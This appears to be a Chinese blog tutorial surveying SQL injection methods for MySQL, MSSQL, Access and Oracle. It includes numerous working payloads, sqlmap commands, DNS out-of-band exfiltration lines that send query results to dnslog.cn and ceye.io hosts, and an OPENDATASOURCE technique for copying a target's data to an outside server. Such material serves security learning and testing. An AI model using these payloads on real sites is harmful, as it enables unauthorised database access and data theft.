Web安全之SQL注入总结

本文会介绍POST注入、Head注入、报错注入、盲注、cookie注入、宽字节注入、堆叠注入、偏移注入、DNS注入、Access、Mssql、Oracle注入原理和手法。

联合注入:https://blog.csdn.net/xlsj228/article/details/105841168

按变量类型分:数字型和字符型


按HTTP提交方式分:POST注入、GET注入和Cookie注入


按注入方式分:布尔注入、联合注入、堆叠注入、报错注入、时间盲注


按数据库类型分:

sql:oracle、mysql、mssql、access、sqlite、postgersql

nosql:mongodb、redis

1、POST注入

在HTTP常用方法中,POST方法提交的信息不存储在URL中,而是存储在HTTP实体内容中,在大多的提交过程,用户是无感知的。
post注入常存在于表单中,如我们在登录框输入数据:

Web安全之SQL注入总结_第1张图片

然后用Burpsuit抓包看到提交方式为POST和我们输入的数据在HTTP实体中。

Web安全之SQL注入总结_第2张图片

注入手法和联合一样:

使用SQLmap注入post类型方法如下:

2、Head注入

基础知识:

PHP中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。这些超全局变量是:

  • $_REQUEST(获取GET/POST/COOKIE)COOKIE在新版本已经无法获取了$_POST(获取POST传参)
  • $_GET(获取GET的传参)
  • $_COOKIE(获取cOOKIE的值)
  • $_SERVER(包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)

$_SERVER功能强大。常用的:
$_SERVER['HTTP_REFERER]获取Referer请求头数据
$_SERVER["HTTP_USER_AGENT"]获取用户相关信息,包括用户浏览器、操作系统等信息。s_SERVER["REMOTE_ADDR""]浏览网页的用户ip。

2.1 refer注入

本案例源码可看出,登录成功后使用插入语句将你的head信息插入到数据库中(插入语句不会回显,使用报错或盲注)。

我们用正确的用户名密码登录,然后抓包修改refer:

Web安全之SQL注入总结_第3张图片

可以看到修改后的效果如下:

Web安全之SQL注入总结_第4张图片

可以将sleep(10)改成其他的查询语句,如

' or updatexml(1,concat ( ' ! ' , (select table_name from information_schema .tables where table_schema=database () limit 0,1) ) ,1),1) -- awd

补充一下如何判断插入的字段数:

假设只有一个字段,只闭合

假设有两个字段,闭合后,并添加一个字段,

假设有3个字段,闭合后,并添加两个字段,  

2.2 其他类型注入

还有XFF,Cookie等。这里介绍XFF注入。我们发现网站会获取我们的IP。

利用插件设置XFF头,如果网站不报错,可尝试此注入

X-Forward-For:127.0.0.1' and 1=2 -- awd

使用sqlmap时:先抓包,然后在refer(或UA)后面加上“*”,再跑。

3、报错注入

 MySQL 报错注入主要分为以下几类:
1. BigInt 等数据类型溢出;
2. Xpath 语法错误;
3. count() + rand() + group_by() 导致重复;
4. 空间数据类型函数错误。

很多函数会导致 MySQL 报错并显示出数据:
1. floor 函数;
2. extractvalue 函数;(最多32字符)
3. updatexml 函数;
4. exp() 函数;

介绍一个由函数参数格式错误引发的报错注入:

updatexml()更新xml文档的函数
语法: updatexml(目标xml内容,xml文档路径,更新的内容)

select updatexml(1,concat(‘!’,(select table_name from information_schema.tables where table_schema=database() limit 0,1),1),1)

  • select updatexml(1,’!a’,1)   用!是为了报错
  • concat(‘!’,database(),1) 拼接语句
  • (select * from a) 加小括号是子查询,有高优先级
  • 报错注入返回的是字符串,所以加上limit限制返回内容

4、盲注

length()   函数返回字符串的长度;

substr()   截取字符串(语法:SUBSTR(str,pos,len),还有mid()函数;

ascii()     返回字符的ascii码[将字符变为数字];

sleep(n)    将程序挂起一段时间,n为n秒;

if(expr1,expr2,expr3)      判断语句如果第一个语句正确,就执行第二个语句;如果错误,执行第三个语句;

4.1 布尔盲注

布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。其流程如下:

1)判断数据库长度:and length(database()) >10

2)猜解库名:and ascii(substr(database(),1,1)) > 97

可以使用Burpsuit的intruder模块跑包

Web安全之SQL注入总结_第5张图片

3)继续猜解其他字段名

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97   slecet必须先加括号用子查询,然后截取字符串比较

猜数据库长度(利用二分法)
id=1 and (length(database()))>50
id=1 and (length(database()))>25
猜第一个字符,第二个字符,以此类推
and ascii(mid(database(),1,1))>32
and ascii(mid(database(),2,1))>1
查询第一个表的长度
and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10
查询当前数据库中所有表名
and (select count(table_name)from information_schema.tables where tables_schema=database())>1
and (select count(table_name)from information_schema.tables where tables_schema=database())>10
查询表的第一个字符
and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1
查询atelier表里有几个字段
and(select count(column_name)from information_schema.columns where table_name = 'atelier' and table_schema = database())>2
查询第一个字段长度
and length((select column_name from information_schema.columns where table_name='atelier' and table_schema= database()limit 0,1))>1
查询字段第一个字符
and ascii(mid((select column_name from information_schema.columns where table_schema = 'db83231_asfaa' and TABLE_NAME ='atelier' limit 0,1),1,1))>105
查询字段所有行数
and (select count(*) from db83231_asfaa.atelier)>4
查询字段名的行数(查询emails表,uname字段)
and (select count(uname)from security.emails)>7  查询uname的行数
查询字段内容
length((select username from security.users limit 0,1))>10
ascii(mid((select username from security.user limit 0,1),1,1))>100

4.2 时间盲注

界面返回值只有一种, true无论输入任何值返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

1)判断注入点

and 1=1 and 1=2没有变化

and sleep(5) 有变化

and if(1=1,sleep(5),sleep(1))

2)进行盲注

and if(length(database()) >10,sleep(5),1)

与布尔盲注使用的函数一样

3)可以使用SQLmap工具代替手工

5、宽字节注入

Php < 5.4 有一个魔术开关,magic_quotes_gpc(魔术引号开关);高版本php使用其他效果相同的函数,addslashes()函数,

产生的效果是让单引号(’)、双引号(”)、反斜线(\)等字符都会被加上反斜线,那我们输入的东西如果不能闭合掉单引号和双引号,自然不会当作代码执行。

Web安全之SQL注入总结_第6张图片

绕过方法:

    数字型注入时无需闭合引号,在查表名时用16进制(0x_ _)表示其中的单引号

    字符串型时:

  • {宽字节}         方法:加%df,%aa,%81,汉字      原理:汉字必须用双字符实现,所以使用GBK编码或非英文编码,将/(%2f)拼接成汉字。(注意可能出现自己传的值会先被搜索栏URL编码)

  • {明白作用域}  方法:head注入                                 原理:因为魔术函数只影响POST,GET,COOKIE注入

宽字节注入原理:

使用宽字节注入时有条件:mysql使用GBK编码,

用户提交:                   http://127.0.0.1/?id=1%df' or 1=1 ('浏览器自动进行url编码%27)
发生如下转换:            %df%27====>(check_addslashes)====>%df%5c%27====>(GBK)====>運'
MySQL执行的语句为:$sql="SELECT * FROM users WHERE id='1運' or 1=1 ";成功将单引号闭合,可以进行SQL注入。

宽字节注入:

%df ' and 1=1 -- awd

Web安全之SQL注入总结_第7张图片

%df ' and 1=2 -- awd

Web安全之SQL注入总结_第8张图片

POST型宽字节注入

POST传参会进行一次编码、后端会进行一次解码  :  %df ->%25df (%URL编码是%25)-> %df =>此时数据库会认为是字符串的%df。(GET型传参,先看符不符合URL统一编码,符合时就不插手,而post会强行编码。)

绕过方法是先正常输入:

Web安全之SQL注入总结_第9张图片

然后burpsuit抓包,

Web安全之SQL注入总结_第10张图片

找到我们的单引号,%27,直接加%df

Web安全之SQL注入总结_第11张图片

成功执行我们构造的语句

Web安全之SQL注入总结_第12张图片

使用SQLmap时,要辅助以下:sqlmap -u"xxx?id=1%df '";若抓数据包跑,仍然要加上闭合%df

6、cookie注入

php中的$_REQUEST可以获取POST|GET|COOKIE传参,且优先级为Cookie>POST>GET。

注: php 5.4以上版本就不会接受Cookie传参了。

设置cookie方式:

  1.     抓包修改
  2.     游览器插件
  3.     游览器自带JS进行设置:按F12,找控制台,输入 document.cookie="id="+escape("170")

什么网站存在cookie注入:

1、ASP的站点存在可能性极高
2、PHP版本低于5.4的版本可能性极高

1) 判断注入点:

Web安全之SQL注入总结_第13张图片

将源URL的id=171删掉,添加一个cookie设置id=171,发现修改cookie里的id值影响页面访问。

2)  查询数据

Web安全之SQL注入总结_第14张图片

(cookie注入最好进行一次URL编码)

3) sqlmap跑

抓包加id=414* 或者 sqlmap  -u "www.asp" --cookie "id=414" --level 2

7、堆叠注入

在 MySQL 命令行中, 每一条语句结尾加“; ”表示语句结束。在 ; 结束一个SQL语句后继续构造下一条语句,使多条语句顺序执行,这就是堆叠注入。

union或者union all执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行任意的语句。

判断堆叠注入存在方法:    id =1 ; sleep(10)               通过加“ ; ”,后面的SQL语句可以执行,则存在该漏洞。

8、偏移注入

只知道表名,可以使用移位溢注

1)判断字段数

判断admin字段数,使用尝试法,

select 1,2,3,4,5,6,7,8,9,10,11,12,13,admin.* from admin

select 1,2,3,4,5,6,7,8,9,10,11,12,admin.* from admin

select 1,2,3,4,5,6,7,8,9,10,11,admin.* from admin

逐一尝试,直至正常,则判断出admin字段数,若一直不正常,则说明需要换其他的注入页面尝试。

2)爆出字段内容

select  1,2,3,4,5,6,7,admin .*,8,9,10,11 from admin

本质:

select  1,2,34,5,6,7,id,username,password,token,8,9,10,11 from admin

9、DNS注入

DNS注入,也可以看作一种带外通道技术。利用DNS泛域名解析特性来使一种盲注返回信息。

NDS泛域名解析特性是指利用通配符的方式将所有的次级域名指向同一 IP。注册域名并配置域名解析的时候,在 DNS 服务器中配置了下面的记录。(*.example.com :IP)

那么无论访问abc.example.com,还是10086.example.com都会在你的服务器日志上显示出来。那么可以将查询数据库返回的信息作为一级域名拼接到.example.com上,访问这个域名,则通过查看日志,就知道返回的信息是什么了。

介绍几个辅助信息:

1)load_file(file_path)  是 MySQL 中一个读取文件内容的函数,该函数会读取文件内容,并将文件内容作为字符串返回。如果读取失败会返回 NULL。

该函数遵循 secure_file_priv 的限制,secure_file_priv 变量的值为 /var/lib/mysql-files,因此load_file()函数只能够读取该目录下的文件的内容。如果想要完成任意目录下文件读取需要在 /etc/my.conf(my.ini) 中将 secure_file_priv 的值置为空。

2)UNC 路径    \\servername\sharename   ( Windows 系统中)(//servername/sharename[强烈建议这样写])

3)查询数据信息

and (select load_file(concat('//',database(),'.3e.dnslog.cn/abc')))   或  and (select load_file(concat("\\\\",(select database()), ".7as54b.ceye.io\\abc")))

database()位置换成其他查询语句,注意返回字符串: and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),".7as54b.ceye.io\\abc")) -- awd

10、其他数据库注入

常见的数据库Mysql,Mssql,Access,Oracle

常见数据库搭配方式:

  • ASP——Access
  • PHP——·Mysql | oracle | Mssql
  • ASPX——mssql
  • JSP——oracle Mysql

具体判断要根据数据库各自特征:

1)连接符判断:

  • sql server :id=1 and 'a'+'b'='ab' --
  • mssql       :id=1 and 'a'+'b'='ab'
  • mysql       :id=1 and 'a'+'b'='ab' , 'ab'=concat('a','b')
  • oracle      :id=1 and 'a'+'b'='a'||'b' ,'ab'=concat('a','b')

2)特殊符号,注释的判断

  • “null”和“%00”是Access支持的注释
  • #”是MySQL中的注释符,
  • - -”和/* */是Oracle,SQL server和MSSQL支持的注释符,(mysql后面要加空格)。
  • ;”是子句查询标识符,在Oracle中不支持多行查询,返回错误,很可能是Oracle数据库。

3)对Mssql和access数据库的判断:

  • ’ and exists (select count(*) from sysobjects) >0正常,就是MSSQL数据库
  • ’ and exists (select count(*) from msysobjects) >0两条都不正常,是Access数据库

10.1 ACCESS 数据库

没有库,只是表的集合,只需查询表和字段。

1)猜解表名

使用and exists (select * from 表名)爆破表名,原理是有数据的表正常返回

2) 查询字段数

order by n

3 )查询输出位

and select 1,2,3 from 表名

4 )猜解字段名

and select 1,id,3 from 表名 (猜解尝试不同字段名)

5) sqlmap跑

Sqlmap -u "" –tables       猜测表名

Sqlmap -u "" --columns -T 指定表名

sqlmap -u ""  -T admin -C username --dump

6)偏移注入

10.2 MSSQL 数据库

特点:sysobjects 系统自带表

获取用户创建的表名 :select * from sysobjects where xtype='U'

获取字段名:select * from syscolumns where id = 123 (每一个表都有对应的ID)

1 ) 显错注入

判断字段数   id=1’order by 1 – qwe

判断输出点   id=1’union all select null,null,null -- qwe

                     id=1’and 1=2 union all select 1,null,null – qwe

                    逐一尝试法,每个位置填入数字或字符(1或‘1’)进行测试,看页面返回那个输出点。(mssql的union只需要前后两语句的字段数相同,类型可以不同)

查询表名      id=1’and 1=2 union all select null,null,* from sysobjects where xtype='U'-- qwe

2)反弹注入

目标数据库是A,你在公网服务器上建立了一个B数据,将A得到的数据插入到B数据库里面。

条件是SQL server数据库,堆叠主人如存在,目标数据库所在服务器能联网。

OPENDATASOURCE(provider_name,init_string)函数
provider_name:注册为用于访问数据源的OLEDB提供程序的PROGID的名称
init_string:连接字符串,连接地址、端口、用户名、密码、数据库名
                 server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称

堆叠加反弹:id =1 ; insert into opendatasource()

10.3 Oracle数据库

1)特点

Dual是一个虚表,直接查询他会回显一个x,可以当作万用表,补充语法结构。

Oracle是用户、表、字段、数据

select * from all_tables               查询出所有的表
select * from user_tables            查询出当前用户的表
select*from all_tab_columns       查询出所有的字段
select*from user_tab_columns   查询出当前用户的字段
select*from v$version                 查版本
rownum=1 (限制查询返回的总行数为一条)   (若要取出2条数据,要写rownum<3 而不是=2)

2)查询字段

union select null,null,null,null from dual

测试发现第一个字段是数字型,非输出位

测试发现第4个是数字型输出位

3)报错注入

3.1)查询版本

lD=1 and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))—qwe

Oracle报错注入一次只能取出一条数据,若要获取第二条使用如下语法:   <>不等于’NEWS’就会出现第二条信息,然后再不等于ADMIN,出现第三条

Web安全之SQL注入总结_第15张图片

3.2)查询表名

http: //59.63.200.79:8808/?id=1 and id=ctxsys.drithsx.sn(1 , (select table_name from user_tables where rownum=1) )--

3.3)查询字段名

http : //59.63.200.79:8808 /?id=1 and id=ctxsys.drithsx.sn (1 , (select column_name from user_tab_columns  where rownum=1 and table name='ADMIN'))--.

4)回显注入

我们发现第二个字段既不是数字型也不是字符串型,说明是Oracle自己特殊的类型:nvarchar2

使用转换函数,可以回显数据:

id=1 and 1=2 union select  1,to nchar(table_name) ,null,321 from user tables

 

 

 

你可能感兴趣的:(网络安全,网络安全,信息安全,数据库,sql)